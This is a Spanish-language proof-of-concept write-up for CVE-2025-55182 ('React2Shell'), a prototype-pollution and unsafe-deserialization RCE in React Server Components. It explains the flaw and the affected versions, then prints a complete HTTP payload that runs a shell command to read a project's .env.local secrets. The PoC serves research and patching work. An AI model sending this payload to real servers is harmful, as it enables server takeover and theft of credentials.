
Este repositorio proporciona una prueba de concepto para CVE-2025-55182 (React2Shell), una vulnerabilidad de ejecución remota de código en React Server Components. Muestra cómo funciona el exploit, incluyendo el payload y el impacto.
CVE-2025-55182, también conocido como React2Shell, es una vulnerabilidad crítica de ejecución remota de código (RCE) que afecta a React Server Components. Este fallo permite a atacantes no autenticados ejecutar código arbitrario en servidores vulnerables explotando un problema de deserialización insegura en el protocolo Flight de React.
Dado su puntaje CVSS de 10.0, esta vulnerabilidad es extremadamente grave y requiere atención inmediata. En este artículo, explicaré los detalles de la vulnerabilidad, el mecanismo de explotación y proporcionaré una demostración de prueba de concepto (PoC). Vamos a profundizar.
Las siguientes versiones de React Server Components y paquetes relacionados son vulnerables:
React Server Components: 19.0.0, 19.1.0, 19.1.1, 19.2.0
Paquetes afectados:
react-server-dom-parcel
react-server-dom-turbopack
react-server-dom-webpack
React.js es una de las bibliotecas de JavaScript más populares para construir interfaces de usuario, especialmente en el contexto de aplicaciones de una sola página (SPA). Permite a los desarrolladores crear experiencias de usuario dinámicas e interactivas.
React Server Components (RSC) es una característica experimental que permite que algunas partes de una aplicación React se rendericen en el servidor, en lugar del cliente. Esto reduce la cantidad de JavaScript requerida en el lado del cliente y mejora el rendimiento, especialmente en aplicaciones grandes.
Sin embargo, RSC introduce nuevas complejidades, particularmente en cómo se intercambian los datos entre el servidor y el cliente. CVE-2025-55182 explota uno de estos problemas con el protocolo Flight, que se utiliza en RSC para transferir datos entre el servidor y el cliente.
CVE-2025-55182 se origina en una deserialización insegura en el protocolo Flight de React. La deserialización es el proceso de convertir datos serializados (generalmente JSON) en un objeto en memoria. React utiliza este proceso para manejar los datos intercambiados entre el servidor y el cliente durante el renderizado del lado del servidor.
Sin embargo, la implementación de deserialización de React no es segura. Específicamente, React utiliza notación de corchetes para acceder a las propiedades de los objetos (por ejemplo, moduleExports[metadata[2]]), lo que permite a los atacantes manipular la cadena de prototipos de los objetos de JavaScript. Esto resulta en contaminación de prototipos y abre la posibilidad de modificar las propiedades de los objetos de maneras inesperadas, permitiendo a los atacantes explotar la lógica de deserialización.
La raíz de la vulnerabilidad radica en cómo React maneja las cargas útiles del protocolo Flight. El uso de notación de corchetes para el acceso a propiedades permite a los atacantes recorrer la cadena de prototipos, otorgándoles acceso a propiedades que normalmente no deberían ser accesibles, como constructor. Al manipular esta propiedad, los atacantes pueden acceder al constructor global Function y ejecutar código JavaScript arbitrario en el servidor.
La explotación funciona enviando una carga útil especialmente diseñada al servidor, que manipula la lógica de deserialización del protocolo Flight. Al combinar contaminación de prototipos y deserialización insegura, un atacante puede obtener control del servidor y ejecutar código arbitrario.
Los componentes clave del ataque incluyen:
Contaminación de prototipos: El atacante manipula la cadena de prototipos de un objeto para inyectar nuevas propiedades, incluyendo las propiedades constructor y Function.
Ejecución de la carga útil: Una vez que el atacante tiene acceso al constructor Function, puede ejecutar código JavaScript arbitrario, como leer archivos o ejecutar comandos del sistema.
Para probar la explotación, necesitarás un entorno React vulnerable. Aquí se explica cómo configurarlo:
npx [email protected] poc-react2shell cd poc-react2shell
Alternativamente, puedes usar un repositorio de GitHub preconfigurado que ya contenga la configuración vulnerable.
Crear un archivo de entorno de prueba
En el directorio raíz de tu proyecto, crea un archivo .env.local que contenga datos sensibles, como claves de API. El atacante apuntará a este archivo en la PoC:
SECRET_API_KEY=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Iniciar el servidor de desarrollo
Ejecuta el servidor de desarrollo:
npm run dev
El servidor vulnerable ahora debería estar ejecutándose en http://localhost:3000.
Una vez que tu entorno esté listo, puedes enviar la carga útil maliciosa para desencadenar la explotación. Aquí es donde Burp Suite o cualquier otra herramienta de proxy HTTP resulta útil.
Enviar la carga útil maliciosa
Abre Burp Suite y navega a la pestaña Repeater. Establece la URL de destino como http://localhost:3000/ y envía la siguiente carga útil maliciosa:
POST / HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0 Next-Action: x X-Nextjs-Request-Id: b5dce965 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Length: 752 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0" { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": { "_prefix": "var res=process.mainModule.require('child_process').execSync('cat .env.local',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_chunks": "$Q2", "_formData": { "get": "$1:constructor:constructor" } } } ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Analizar la respuesta
Después de enviar la solicitud, si la explotación tiene éxito, el servidor responderá con el contenido de tu archivo .env.local (o cualquier dato sensible en las variables de entorno). Esto confirma el acceso del atacante a datos confidenciales.

Host: Especifica el servidor de destino (localhost:3000).
User-Agent: Identifica el cliente que realiza la solicitud. La cadena suele ser de un navegador, pero aquí puede estar diseñada para ofuscar el ataque.
Next-Action: Probablemente parte del procesamiento de Next.js, podría confundir al servidor o interactuar con el proceso de deserialización.
X-Nextjs-Request-Id: ID de solicitud único para seguimiento y depuración en Next.js.
Content-Type: Datos de formulario multiparte, utilizados para datos estructurados como JSON o cargas de archivos.
Content-Length: Indica la longitud del cuerpo de la solicitud.
Campo 0: Contiene la carga útil que desencadena la contaminación de prototipos. Modifica el prototipo del objeto, agrega una nueva propiedad then e incluye un objeto _response malicioso. El _prefix ejecuta un comando child_process para leer el archivo .env.local.
Campo 1: Hace referencia al Campo 0 para propagar el ataque.
Campo 2: Arreglo vacío, asegurando que la estructura de la carga útil permanezca intacta.
La vulnerabilidad CVE-2025-55182 permite a los atacantes:
Ejecutar código arbitrario en el servidor.
Leer archivos sensibles, como claves de API y archivos de configuración.
Establecer shells inversas, obteniendo potencialmente control total del servidor.
Exfiltrar datos sensibles del servidor.
CVE-2025-55182 (React2Shell) es una vulnerabilidad crítica en React Server Components que permite a atacantes no autenticados ejecutar código arbitrario en servidores vulnerables. Al explotar la deserialización insegura y la contaminación de prototipos, los atacantes pueden obtener control total sobre el servidor, leer datos sensibles y ejecutar comandos maliciosos.
Si estás utilizando React Server Components, es crucial actualizar a las últimas versiones parcheadas para mitigar esta vulnerabilidad. Adherirse a las mejores prácticas de seguridad, como la validación de entradas y el manejo adecuado de la deserialización, es esencial para prevenir vulnerabilidades similares.
Esta prueba de concepto está destinada únicamente con fines educativos y de investigación. No intentes explotar o probar vulnerabilidades en ningún sistema sin el consentimiento explícito y por escrito del propietario del sistema. Las pruebas no autorizadas pueden ser ilegales y poco éticas. Siempre sigue prácticas legales y responsables en ciberseguridad.